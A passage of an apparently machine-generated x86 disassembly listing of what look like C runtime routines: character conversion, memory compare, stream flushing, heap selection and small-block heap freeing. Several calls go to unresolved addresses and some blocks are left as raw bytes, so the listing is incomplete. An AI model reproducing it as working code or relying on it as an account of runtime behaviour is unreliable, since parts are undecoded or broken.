[edx] cmp cl, 61h jl short loc_41DE77 cmp cl, 7Ah jg short loc_41DE77 sub cl, 20h mov [edx], cl loc_41DE77: ; CODE XREF: sub_41DE4A+21j ; sub_41DE4A+26j inc edx cmp [edx], bl jnz short loc_41DE66 jmp short loc_41DEE5 ; --------------------------------------------------------------------------- loc_41DE7E: ; CODE XREF: sub_41DE4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4232A8 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DED7 push edi call sub_41BEB5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DED7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41DED7 push [ebp+var_4] push [ebp+arg_0] call sub_41C890 pop ecx pop ecx loc_41DED7: ; CODE XREF: sub_41DE4A+53j ; sub_41DE4A+61j ... push [ebp+var_4] call sub_41BA91 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj ; sub_41DE4A+32j pop ebx leave retn sub_41DE4A endp ; =============== S U B R O U T I N E ======================================= sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DEFF push 4 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DEFF: ; CODE XREF: sub_41DEE8+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 retn sub_41DEE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p ; sub_420DB0+88p ... arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DF27 push 8 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DF27: ; CODE XREF: sub_41DF10+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 retn sub_41DF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DF8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DF8D test eax, 1 jz short loc_41DF6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DFBA inc esi inc edi dec eax jz short loc_41DF8A loc_41DF6D: ; CODE XREF: sub_41DF40+20j ; sub_41DF40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DFBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DFBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DF6D loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj ; sub_41DF40+84j pop edi pop esi locret_41DF8C: ; CODE XREF: sub_41DF40+6j retn ; --------------------------------------------------------------------------- loc_41DF8D: ; CODE XREF: sub_41DF40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DFC2 repe cmpsd jz short loc_41DFC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DFB5 cmp ch, dh jnz short loc_41DFB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DFB5 cmp ch, dh loc_41DFB5: ; CODE XREF: sub_41DF40+63j ; sub_41DF40+67j ... mov eax, 0 loc_41DFBA: ; CODE XREF: sub_41DF40+26j ; sub_41DF40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DFC2: ; CODE XREF: sub_41DF40+55j ; sub_41DF40+59j test eax, eax jz short loc_41DF8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DFB5 dec eax jz short loc_41DFE9 cmp dh, ch jnz short loc_41DFB5 dec eax jz short loc_41DFE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DFB5 dec eax loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj ; sub_41DF40+96j pop edi pop esi retn sub_41DF40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p ; sub_4185D3+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx push esi push edi jnz short loc_41E019 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41E0B2 cmp eax, 5Ah jg loc_41E0B2 add eax, 20h jmp loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E019: ; CODE XREF: sub_41DFEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41E04D cmp dword_43D084, esi jle short loc_41E03B push esi push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_41E045 ; --------------------------------------------------------------------------- loc_41E03B: ; CODE XREF: sub_41DFEC+42j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, esi loc_41E045: ; CODE XREF: sub_41DFEC+4Dj test eax, eax jnz short loc_41E04D loc_41E049: ; CODE XREF: sub_41DFEC+ADj mov eax, ebx jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj ; sub_41DFEC+5Bj mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41E071 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41E07A ; --------------------------------------------------------------------------- loc_41E071: ; CODE XREF: sub_41DFEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41E07A: ; CODE XREF: sub_41DFEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41E049 cmp eax, esi jnz short loc_41E0A5 movzx eax, [ebp+var_4] jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41E0B2: ; CODE XREF: sub_41DFEC+16j ; sub_41DFEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DFEC endp ; =============== S U B R O U T I N E ======================================= sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp ; sub_419AE0+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41E0CE loc_41E0C4: ; CODE XREF: sub_41E0B7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41E0C4 loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41E0B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp ; sub_418AF1+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E1A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E1CE cmp dword_4DBE84, esi jnz short loc_41E125 cmp edi, esi jbe loc_41E1CE loc_41E104: ; CODE XREF: sub_41E0D4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E1CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E104 jmp loc_41E1CE ; --------------------------------------------------------------------------- loc_41E125: ; CODE XREF: sub_41E0D4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270E8 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBE94 call esi test eax, eax jnz loc_41E1CD call near ptr 26B0669h nop cmp eax, 7Ah jz short loc_41E15F loc_41E150: ; CODE XREF: sub_41E0D4+CBj ; sub_41E0D4+F7j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E167: ; CODE XREF: sub_41E0D4+B3j mov cl, [eax] test cl, cl jz short loc_41E189 mov edx, off_43CE78 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E17E inc eax loc_41E17E: ; CODE XREF: sub_41E0D4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E167 loc_41E189: ; CODE XREF: sub_41E0D4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBE94 call esi test eax, eax jnz short loc_41E1CE jmp short loc_41E150 ; --------------------------------------------------------------------------- loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj cmp dword_4DBE84, esi jnz short loc_41E1B4 push [ebp+arg_4] call sub_41B9C0 pop ecx jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBE94 call near ptr 2720000h nop cmp eax, esi jz short loc_41E150 loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj dec eax loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj ; sub_41E0D4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41E0D4 endp ; --------------------------------------------------------------------------- db 9Ch dd 0CA7726A5h, 24848F31h, 0F5A9F29Ch, 0A164E34Fh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 1BE890E8h, 3302493Ah, 89D48AD2h dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 0C4E8FC75h, 90000058h, 4939A0E8h, 0D38CA302h, 82E8004Dh dd 0A3000057h, 4DBE34h, 552BE8h, 546DE800h, 0F9E80000h dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2491D88h, 53FEE8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 6BE89056h, 50022929h, 0FE2F80E8h, 0A04589FFh dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p ; ___:00423721p ... arg_0 = dword ptr 4 cmp dword_4DBE3C, 1 jnz short loc_41E2D7 call sub_423D98 loc_41E2D7: ; CODE XREF: sub_41E2C9+7j push [esp+arg_0] call sub_423DD1 push 0FFh call off_43AE40 pop ecx pop ecx retn sub_41E2C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DBE3C dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h dd 0A579A4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap ; sub_42423B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DD140 jnb loc_41E3AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E3AC push edi call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E38B cmp edi, 1 jz short loc_41E359 cmp edi, 2 jnz short loc_41E36F loc_41E359: ; CODE XREF: sub_41E312+40j push 2 call sub_4240AA push 1 mov ebp, eax call sub_4240AA pop ecx cmp eax, ebp pop ecx jz short loc_41E38B loc_41E36F: ; CODE XREF: sub_41E312+45j push edi call sub_4240AA pop ecx push eax nop call near ptr 26808BBh test eax, eax jnz short loc_41E38B nop call near ptr 26B0669h mov ebp, eax jmp short loc_41E38D ; --------------------------------------------------------------------------- loc_41E38B: ; CODE XREF: sub_41E312+3Bj ; sub_41E312+5Bj ... xor ebp, ebp loc_41E38D: ; CODE XREF: sub_41E312+77j push edi call sub_424030 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E3A8 push ebp call sub_420C7F pop ecx jmp short loc_41E3BD ; --------------------------------------------------------------------------- loc_41E3A8: ; CODE XREF: sub_41E312+8Bj xor eax, eax jmp short loc_41E3C0 ; --------------------------------------------------------------------------- loc_41E3AC: ; CODE XREF: sub_41E312+Ej ; sub_41E312+2Fj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41E3BD: ; CODE XREF: sub_41E312+94j or eax, 0FFFFFFFFh loc_41E3C0: ; CODE XREF: sub_41E312+98j pop edi pop esi pop ebp pop ebx retn sub_41E312 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E3EE test al, 8 jz short loc_41E3EE push dword ptr [esi+8] call sub_41BA91 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj ; sub_41E3C5+Ej pop esi retn sub_41E3C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp ; sub_41E490+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E402 push esi call sub_41E490 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E402: ; CODE XREF: sub_41E3F0+7j push esi call sub_41E42B test eax, eax pop ecx jz short loc_41E412 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E412: ; CODE XREF: sub_41E3F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E427 push dword ptr [esi+10h] call sub_4240E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E427: ; CODE XREF: sub_41E3F0+26j xor eax, eax pop esi retn sub_41E3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap ; ___:0041DAC2p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E478 test ax, 108h jz short loc_41E478 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E478 push edi push eax push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, edi jnz short loc_41E471 mov eax, [esi+0Ch] test al, 80h jz short loc_41E478 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E478 ; --------------------------------------------------------------------------- loc_41E471: ; CODE XREF: sub_41E42B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E478: ; CODE XREF: sub_41E42B+14j ; sub_41E42B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E42B endp ; =============== S U B R O U T I N E ======================================= sub_41E487 proc near ; CODE XREF: sub_4241E3p push 1 call sub_41E490 pop ecx retn sub_41E487 endp ; =============== S U B R O U T I N E ======================================= sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap ; sub_41E487+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DD020, esi jle short loc_41E4EE loc_41E4A1: ; CODE XREF: sub_41E490+5Cj mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_41E4E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E4E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E4CB push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E4E5 inc ebx jmp short loc_41E4E5 ; --------------------------------------------------------------------------- loc_41E4CB: ; CODE XREF: sub_41E490+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E4E5 test cl, 2 jz short loc_41E4E5 push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E4E5 or edi, eax loc_41E4E5: ; CODE XREF: sub_41E490+1Bj ; sub_41E490+23j ... inc esi cmp esi, dword_4DD020 jl short loc_41E4A1 loc_41E4EE: ; CODE XREF: sub_41E490+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E4F9 mov eax, edi loc_41E4F9: ; CODE XREF: sub_41E490+65j pop edi pop esi pop ebx retn sub_41E490 endp ; =============== S U B R O U T I N E ======================================= sub_41E4FD proc near ; CODE XREF: ___:0041E660p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 26B0C06h nop cmp word ptr [eax], 5A4Dh jnz short loc_41E528 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E528 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E528: ; CODE XREF: sub_41E4FD+15j ; sub_41E4FD+1Cj pop esi retn sub_41E4FD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41C500 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 2700552h test eax, eax jz short loc_41E56D cmp dword ptr [ebp-88h], 2 jnz short loc_41E56D cmp dword ptr [ebp-94h], 5 jb short loc_41E56D push 1 pop eax jmp loc_41E66F ; --------------------------------------------------------------------------- loc_41E56D: ; CODE XREF: ___:0041E551j ; ___:0041E55Aj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 28C0000h nop test eax, eax jz loc_41E65C xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41E5AF loc_41E59C: ; CODE XREF: ___:0041E5ADj mov al, [ecx] cmp al, 61h jl short loc_41E5AA cmp al, 7Ah jg short loc_41E5AA sub al, 20h mov [ecx], al loc_41E5AA: ; CODE XREF: ___:0041E5A0j ; ___:0041E5A4j inc ecx cmp [ecx], bl jnz short loc_41E59C loc_41E5AF: ; CODE XREF: ___:0041E59Aj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C850 add esp, 0Ch test eax, eax jnz short loc_41E5D1 lea eax, [ebp-122Ch] jmp short loc_41E61A ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: ___:0041E5C7j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2690000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41E605 loc_41E5F2: ; CODE XREF: ___:0041E603j mov al, [ecx] cmp al, 61h jl short loc_41E600 cmp al, 7Ah jg short loc_41E600 sub al, 20h mov [ecx], al loc_41E600: ; CODE XREF: ___:0041E5F6j ; ___:0041E5FAj inc ecx cmp [ecx], bl jnz short loc_41E5F2 loc_41E605: ; CODE XREF: ___:0041E5F0j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41C2E0 pop ecx pop ecx loc_41E61A: ; CODE XREF: ___:0041E5CFj cmp eax, ebx jz short loc_41E65C push 2Ch push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx jz short loc_41E65C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E641 loc_41E633: ; CODE XREF: ___:0041E63Fj cmp byte ptr [ecx], 3Bh jnz short loc_41E63C mov [ecx], bl jmp short loc_41E63D ; --------------------------------------------------------------------------- loc_41E63C: ; CODE XREF: ___:0041E636j inc ecx loc_41E63D: ; CODE XREF: ___:0041E63Aj cmp [ecx], bl jnz short loc_41E633 loc_41E641: ; CODE XREF: ___:0041E631j push 0Ah push ebx push eax call sub_41C586 add esp, 0Ch cmp eax, 2 jz short loc_41E66F cmp eax, 3 jz short loc_41E66F cmp eax, 1 jz short loc_41E66F loc_41E65C: ; CODE XREF: ___:0041E586j ; ___:0041E61Cj ... lea eax, [ebp-4] push eax call sub_41E4FD cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E66F: ; CODE XREF: ___:0041E568j ; ___:0041E650j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4B1977E8h dd 0A3C08502h, 4DD384h, 93E83674h, 83FFFFFEh, 88A303F8h dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 73E8004Dh dd 90024A27h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h dd 3E191FE8h, 0C0859002h, 4DD37CA3h, 0C3017500h, 4244C8Bh dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E717 proc near ; CODE XREF: sub_41BA91+17p ; sub_41BBE2+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DD378 lea ecx, [eax+eax*4] mov eax, dword_4DD37C lea ecx, [eax+ecx*4] loc_41E727: ; CODE XREF: sub_41E717+26j cmp eax, ecx jnb short loc_41E73F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E741 add eax, 14h jmp short loc_41E727 ; --------------------------------------------------------------------------- loc_41E73F: ; CODE XREF: sub_41E717+12j xor eax, eax locret_41E741: ; CODE XREF: sub_41E717+21j retn sub_41E717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E742 proc near ; CODE XREF: sub_41BA91+23p ; sub_41BBE2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41EA66 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E818 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E7A6 push 3Fh pop edx loc_41E7A6: ; CODE XREF: sub_41E742+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E7FA cmp edx, 20h jnb short loc_41E7D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E7F2 ; --------------------------------------------------------------------------- loc_41E7D1: ; CODE XREF: sub_41E742+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E7F2: ; CODE XREF: sub_41E742+86j ; sub_41E742+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E7FD ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E742+6Aj mov ecx, [ebp+var_4] loc_41E7FD: ; CODE XREF: sub_41E742+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E818: ; CODE XREF: sub_41E742+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E826 push 3Fh pop edx loc_41E826: ; CODE XREF: sub_41E742+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E8C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E84B mov ebx, esi loc_41E84B: ; CODE XREF: sub_41E742+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E85D mov edx, esi loc_41E85D: ; CODE XREF: sub_41E742+117j cmp ebx, edx jz short loc_41E8C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E8AC cmp ebx, 20h jnb short loc_41E88D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E8AC ; --------------------------------------------------------------------------- loc_41E88D: ; CODE XREF: sub_41E742+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E8AC: ; CODE XREF: sub_41E742+128j ; sub_41E742+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E8C4: ; CODE XREF: sub_41E742+11Dj mov esi, [ebp+arg_4] jmp short loc_41E8CC ; --------------------------------------------------------------------------- loc_41E8C9: ; CODE XREF: sub_41E742+EDj mov ebx, [ebp+arg_0] loc_41E8CC: ; CODE XREF: sub_41E742+185j cmp [ebp+var_C], 0 jnz short loc_41E8DA cmp ebx, edx jz loc_41E95B loc_41E8DA: ; CODE XREF: sub_41E742+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E95B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E932 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E921 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E921: ; CODE XREF: sub_41E742+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E95B ; --------------------------------------------------------------------------- loc_41E932: ; CODE XREF: sub_41E742+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E948 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E948: ; CODE XREF: sub_41E742+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E95B: ; CODE XREF: sub_41E742+192j ; sub_41E742+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41EA66 mov eax, dword_4DD374 test eax, eax jz loc_41EA58 mov ecx, dword_4DD36C mov esi, dword_427068 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DD36C mov eax, dword_4DD374 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DD374 mov ecx, dword_4DD36C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DD374 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DD374 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E9E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DD374 loc_41E9E9: ; CODE XREF: sub_41E742+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41EA58 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DD374 push dword ptr [eax+10h] push 0 push dword_4DD384 call near ptr 27F0614h nop mov eax, dword_4DD378 mov edx, dword_4DD37C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DD374 sub ecx, eax lea ecx, 